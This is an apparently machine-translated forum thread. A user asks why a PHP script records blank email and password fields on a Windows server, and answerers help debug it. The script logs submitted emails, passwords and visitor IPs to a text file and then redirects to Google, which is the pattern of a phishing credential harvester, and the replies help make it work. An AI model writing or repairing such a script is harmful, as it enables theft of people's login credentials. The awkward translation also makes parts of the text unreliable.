2012-04-24 7 views
-1

私は以前このスクリプトをLinuxのボックスで使用していましたが、動作していますが、新しいWindows Server 2003サーバーで使用すると機能しません。過去に私は777にファイルをchmoddingでこの問題を解決しましたが、あなたは窓でそれを行うことはできません。ここPHPは.txtファイルにのみデータの一部を書きます

コードです:

<?php 
header("Location:http://google.com"); 
$handle = fopen("list.txt", "a"); 
$ip = $_SERVER["REMOTE_ADDR"]; 
{ 
fwrite($handle, "Email = ". $_POST['box1']."\n"); 
fwrite($handle, "Password = ".$_POST['box2']."\n"); 
fwrite($handle, "Ip address = ". $ip ."\n"); 
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n"); 
} 
fclose($handle); 
?> 

それはBOX1とBOX2データの空白を出力し、それはまだ.txtファイルにIPと日付を記録します。提案してください?

+0

Whats 'header(" Location:http://google.com "); '? –

+1

中括弧はなぜですか?また、 'error_reporting(E_ALL);'を設定し、あなたが得るエラーを見てください。一般的な注意点:クリアテキストのパスワードをテキストファイルに書き込んでいます。あなたはそうしてはいけません。 – Tomalak

+0

バイナリフラグfopen( "list.txt"、 "ab")でfopenを試してください。 – djot

答えて

0

明らかに、変数$_POST['box1']および$_POST['box2']は、空の文字列に設定または設定されません。その後、ファイルに保存されます。

PHPは実際には変数にかなり厳しいですが、PHPはその値を取るだけで、そこに期待されるものではなく、実際にそこにしかありません。

リクエストを監視し、適切な変数を使用していることを確認できるように、送信されるデータを確認します。

0

多分あなたの$ _POSTは空ですか?

これは、エンコーディングタイプの問題のために見ました。次に、file_get_contentsを読むことは素晴らしい解決策です。

$postData = file_get_contents('php://input'); 

これは、probemが$ _POSTであることが空であるか、それ以外のものが悪い場合に質問に答えます。

関連する問題